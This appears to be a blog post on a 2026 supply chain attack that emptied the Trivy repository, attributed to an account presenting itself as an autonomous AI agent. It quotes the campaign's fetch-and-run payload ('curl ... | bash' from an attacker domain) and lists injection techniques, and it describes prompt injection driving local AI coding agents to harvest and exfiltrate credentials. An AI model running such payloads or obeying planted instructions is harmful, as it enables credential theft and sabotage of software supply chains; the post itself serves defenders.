Trivy wiped out after a supply chain attack by an AI bot

Updated on June 19, 2026 Published on March 1, 2026

17 min read

#trivy#securite#open-source#devsecops#supply-chain#github-actions

On Sunday 1 March 2026, while working on my homelab, I got quite a surprise. I was updating my tools with mise, and the installation of Trivy 0.69.1 failed with a 404 error. Intrigued, I started digging. What I found floored me: the aquasecurity/trivy GitHub repository was completely empty. What I took for a bug turned out to be one of the most striking supply chain attacks of 2026.

Screenshot of the mise error

Not a single star left on GitHub, as the image above shows.

How did I discover the empty repository?

It all started with an ordinary installation error on my homelab.

mise ERROR Failed to install trivy@0.69.1
curl: (22) The requested URL returned error: 404

First reaction: a version problem? I tried several variants, with the v prefix, without it, different versions. Same result. So I checked directly on GitHub:

gh release list --repo aquasecurity/trivy
# no releases found

gh api repos/aquasecurity/trivy --jq '.description'
# "This is your first repository"

The aquasecurity/trivy repository is empty. Not "a few missing releases". No. Completely empty. No code, no release, no tag. GitHub's default description, "This is your first repository", greets you as a welcome message.

As a reminder, Trivy is one of the most widely used open source vulnerability scanners in the cloud native and CI/CD ecosystem. It scans container images, IaC files (Terraform, Kubernetes), code repositories, SBOMs... About 25,000 stars on GitHub, hundreds of contributors, integrated into Harbor, GitLab, GitHub Actions... And there, nothing.

Screenshot of the empty repository

Why does the website work while the repository is empty?

The paradox is that trivy.dev works perfectly while every install path behind it is broken. The v0.69 documentation is online. The installation page even references version 0.69.1:

# Excerpt from the official docs (trivy.dev)
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh \
  | sudo sh -s -- -b /usr/local/bin v0.69.1

Except that this install script points to the GitHub repository... which is empty.

I systematically tested every installation method:

Method	Result
`mise install trivy@0.69.1` (aqua backend)	404, no GitHub release
`mise install` (asdf backend via `zufardhiyaulhaq/asdf-trivy`)	404, same cause
Official install script	Points to GitHub Releases → 404
Direct binary download	No release to download
`mise ls-remote trivy`	Lists 0.69.1 from cache, but the binary does not exist

Only the methods that do not go through GitHub Releases could still work: the APT/YUM repository, Homebrew, or the distributions' package managers. Nearly 100 percent of Trivy installation methods rely on GitHub Releases. A single point of failure.

What actually happened?

The destructive actions were performed through a compromised PAT, not by Aqua Security. My first hypothesis, a maintenance cleanup or an incident response by Aqua Security, was wrong. The analyses published over the following days, and above all the discussion #10265 opened by the maintainers, revealed the reality.

What is the exact timeline of the attack?

Thanks to knqyf263, Trivy's lead maintainer, we have a timeline built from the GitHub audit logs.

Date	Event
27 Feb, 00:18 UTC	PR #10252 created and closed immediately, triggering the CI. The author's account has since been deleted by GitHub.
27 Feb, 12:01 UTC	Start of unauthorised API activity through the compromised PAT.
27 Feb, 12:36 UTC	Malicious security advisory created in `trivy-vscode-extension`.
28 Feb, 03:17 UTC	PR from `hackerbot-claw` created and closed.
1 Mar, 00:14 UTC	Mass deletion of the releases (v0.27.0 to v0.69.1) through an automated script.
1 Mar, 00:27 UTC	Repository renamed to `private-trivy`, empty decoy repository pushed in its place.

According to the maintainers, the indicators (country code, user agent, PAT hash) suggest that the author of PR #10252 and hackerbot-claw are the same actor.

How did pull_request_target open the door?

The entry point was a GitHub Actions workflow using pull_request_target, a trigger that runs with the permissions of the target repository, even when the PR comes from a fork. This workflow, the "API Diff Check" (fixed by PR #10259), had existed since October 2025.

The attacker opened a PR that triggered this workflow, obtaining a PAT (Personal Access Token) with extended permissions. Through this PAT, the following actions were carried out:

Deletion of all the GitHub releases (v0.27.0 to v0.69.1)
Renaming of the repository to private-trivy and push of an empty repository in its place
Publication of a malicious VS Code extension on OpenVSX

What did the malicious VS Code extension do?

The compromised extension ran prompt injection against local AI agents, the most innovative dimension of the attack. The analysis by Socket reveals it in detail:

The OpenVSX versions 1.8.12 (27 Feb) and 1.8.13 (28 Feb) contained injected code launching 5 local AI agents (Claude, Codex, Gemini, Copilot CLI, Kiro) in maximum permissive mode.
v1.8.12 embedded a reconnaissance prompt (about 2,000 words) aiming to collect credentials, tokens and sensitive data, and to exfiltrate them through every available channel.
v1.8.13 refined the exfiltration: writing a REPORT.MD then pushing it through the gh CLI to a posture-report-trivy repository.
Socket calls this technique "AI-assisted supply chain abuse", prompt injection targeting local AI agents.
Exposure window: about 34 hours. The OpenVSX publishing token was revoked by a former Aqua employee. No public posture-report-trivy repository exists to date.

Was Trivy the only target of hackerbot-claw?

No, Trivy was one of seven major repositories hit by a coordinated campaign. On the same day as my discovery, StepSecurity published an analysis revealing a systematic campaign. The developers of Plumber followed with a synthesis on CI/CD governance.

Between 21 and 28 February 2026, hackerbot-claw, a GitHub account describing itself as an "autonomous security research agent powered by claude-opus-4-5", targeted 7 major repositories. According to StepSecurity, code execution was confirmed on at least 4 targets:

Target	Technique	Result
aquasecurity/trivy (~25k stars)	PAT theft via `pull_request_target`	Total compromise: all releases deleted, malicious VS Code extension
avelino/awesome-go (140k+ stars)	Poisoned Go `init()` in a quality-check script	Confirmed RCE + theft of a `GITHUB_TOKEN` with write access
project-akri/akri (CNCF)	Direct injection into `version.sh`	Confirmed RCE
microsoft/ai-discovery-agent	Injection through the git branch name	Probable RCE (suspicious 2m38s delay)
DataDog/datadog-iac-scanner	Base64 commands in file names	Probable RCE, emergency fixes in 9h
RustPython/RustPython (~20k stars)	Base64 injection through the branch name	Partial execution (decoding failure)
ambient-code/platform	Prompt injection targeting an AI reviewer (Claude)	Detected and blocked by Claude

Each attack used a different technique, but all of them delivered the same payload: curl -sSfL hackmoltrepeat.com/molt | bash.

Which anti-patterns did the attacks exploit?

Every attack targeted the same well-known weaknesses of GitHub Actions workflows, documented in the OWASP Top 10 CI/CD Security Risks:

pull_request_target with a checkout of the fork's code, the classic "Pwn Request". The workflow runs with the target repository's permissions but executes the attacker's code.
Unescaped ${{ }} expressions in run: blocks, direct shell command injection through attacker-controlled metadata (branch name, file name, comment).
Missing author_association checks, anyone could trigger workflows through comments such as /version minor or /format.
Excessive permissions on the GITHUB_TOKEN, contents: write where contents: read would have been enough.

What makes the AI prompt injection attack stand out?

The attack against ambient-code/platform used prompt injection against an AI code reviewer, and the AI itself blocked it. The attacker replaced the CLAUDE.md file (project instructions for Claude Code) with malicious instructions asking the AI to modify README.md and to post a fake approval comment. Claude (claude-sonnet-4-6) detected and refused the attack, publishing a detailed warning instead of complying.

What was the concrete impact?

Trivy broken everywhere

Every pipeline that pulled Trivy from GitHub Releases stopped working at once.

All the CI/CD pipelines using aquasecurity/trivy-action or downloading the binary from the releases: broken.
Security pipelines relying on Trivy to scan images before deployment: at a standstill.
Version managers (mise, asdf): unable to install Trivy.
Dockerfiles embedding Trivy through the install script: failing.

A broken chain of trust

The irony is biting: a security tool used to scan everyone else's vulnerabilities is itself the victim of a supply chain attack. Who scans the scanner? If your security pipeline relies on a single tool and that tool is compromised, your entire chain of trust collapses.

The roughly 25,000 GitHub stars were lost (like the HTTPie/Stardust incident). The existing forks were re-parented to fossabot/trivy, which suddenly found itself with 3,000 forks overnight. The PRs opened by contributors were re-attached to another repository.

How did Aqua Security and the community respond?

1 March: first communication

The repository was restored from a clean copy the very same evening, and a replacement v0.69.2 was published right away. That evening, itaysk (Trivy maintainer) published an official communication confirming the incident. The vulnerable workflow was fixed through PR #10259.

AdnaneKhan (GitHub Actions security researcher) tracked down the bot's PR. In its branch, hackerbot-claw had left a message claiming to have obtained the PAT and to have revoked it itself, presenting itself as a "white hat". The message was deleted 30 minutes later (probably by GitHub, which deleted the account).

2-4 March: external analyses and fixes

External researchers filled in the picture while Aqua hardened its release chain.

Socket published the analysis of the compromised VS Code extension, revealing the 5 local AI agents and the exfiltration prompts.
knqyf263 provided the complete timeline from the audit logs.
DmitriyLewen (Trivy maintainer) confirmed that trivy-db is restored and functional, and that the maintainers found no modification of the source code (the commit IDs can be verified independently).
v0.69.3 was published on 3 March with immutable releases enabled, an SBOM (bom.json) and a Sigstore attestation, measures that harden the publishing chain and make this kind of sabotage harder.
Immutable releases were enabled on trivy-action as well.

What remains uncertain?

Despite the team's responsiveness, several questions remain open.

Scope of the compromised PAT: did it have permissions on other repositories of the aquasecurity organisation? No detailed scope was communicated.
Audit window: the vulnerable workflow had existed since October 2025, but the get.trivy.dev deployments were only verified back to December. Two months not covered.
Number of installs of the 1.8.12/1.8.13 extensions on OpenVSX: no figure published.
Integrity of the older releases: the v0.27.0 to v0.69.1 assets were deleted through the compromised PAT, so they can no longer be verified independently. The community asked GitHub for the API logs.
GPG key for the APT/YUM packages, possibly lost, no official confirmation.
The bot claims it revoked the PAT itself, but the bot is the one saying so. And "#OperationShutdown" does not sound particularly benevolent as a hashtag.
No independent post-mortem published to date.

Which indicators of compromise (IOC) should you watch?

If you maintain open source projects, these are the indicators to monitor.

Type	Value
Payload domain	`hackmoltrepeat.com`
Exfiltration domain	`recv.hackmoltrepeat.com`
GitHub account	hackerbot-claw (created on 20 February 2026)
Branch pattern	Emoji names used to hide the intent
Trigger comments	`/format`, `/sync-metadata`, `/version minor`, `@claude`
ETH wallet	`0x6BAFc2A022087642475A5A6639334e8a6A0b689a`
BTC wallet	`bc1q49rr8zal9g3j4n59nm6sf30930e69862qq6f6u`

Which tools can audit your pipelines?

This incident put the spotlight on dedicated audit tools for CI/CD pipelines. Four complementary tools worth knowing:

poutine (BoostSecurity), a multi-platform CI/CD security scanner (GitHub Actions, GitLab CI, Azure DevOps, Tekton). 13 built-in rules covering exactly the patterns exploited by hackerbot-claw (untrusted_checkout_exec, injection, default_permissions_on_risky_events...). It can scan an entire organisation in one command.
zizmor, static analysis dedicated to GitHub Actions, written in Rust. 30+ security rules with a --fix mode to automatically correct common issues.
StepSecurity Harden-Runner, runtime protection for GitHub Actions runners. It monitors and can block unauthorised outbound network traffic. This is the tool that detected the hackerbot-claw campaign and the payload towards hackmoltrepeat.com.
Plumber, CI/CD compliance for GitLab. An open source CLI plus a platform for organisation-wide governance.

Platform	Static analysis	Runtime protection
GitHub Actions	poutine + zizmor	StepSecurity Harden-Runner
GitLab CI/CD	Plumber CLI + Platform	Network controls
Multi-platform	poutine (GitHub, GitLab, Azure DevOps, Tekton)	Per-platform controls

What lessons should you take away?

Every vulnerability exploited by hackerbot-claw is an anti-pattern documented for years, and the fixes are known.

Audit your GitHub Actions workflows: check that you are not using pull_request_target with a checkout of the fork's code. It is the number one vector.
Escape the ${{ }} expressions: pass them through environment variables instead of interpolating them in run: blocks.
Add author_association checks: only members and owners should be able to trigger workflows through comments.
Apply least privilege: contents: read by default, write only when strictly necessary.
Monitor outbound network traffic: tools like Harden-Runner can block calls towards unauthorised domains.
Enable immutable releases: this option hardens the publishing chain and makes release deletion harder.
Do not depend on a single security tool: combine Trivy with Checkov, Grype or other scanners.
Treat workflow files as critical code: add .github/workflows/ to CODEOWNERS and require maintainer approval for any change.

What should you do right now?

Move to v0.69.3 and audit everything that touched Trivy during the attack window.

Upgrade to v0.69.3, the first release with immutable releases, an SBOM (bom.json) and a Sigstore attestation.
If you use the Trivy VS Code extension from OpenVSX, uninstall it and reinstall from the official VS Code marketplace.
If you installed Trivy between 21 and 28 February, check the integrity of your binary.
Audit your workflows with poutine or zizmor.
Follow the official discussion: Trivy security incident 2026-03-01 #10265

What still bothers me?

What should have been a quiet Sunday on my homelab turned into a deep dive into one of the most striking supply chain attacks of 2026.

The vulnerable workflow (pull_request_target) had existed since October 2025. The audit only covers the period since December. What happened during those two months?

We trust the bot when it says it revoked the PAT itself. But the bot is the one saying it.

This attack was not carried out by a human. It was an autonomous AI bot that scans, identifies flaws and exploits workflows, around the clock, without fatigue. As StepSecurity puts it: "You can't defend against automation with manual controls."

I moved to v0.69.3 in my mise.toml. But I consider this incident not closed as long as a complete and independent post-mortem has not been published.

Sources:

Official discussion #10265, the source of truth for the timeline and the maintainers' answers
StepSecurity analysis, technical analysis of the hackerbot-claw campaign
Socket analysis, compromised VS Code extension
Plumber analysis, CI/CD governance, impact, tooling and CI/CD governance
Release v0.69.3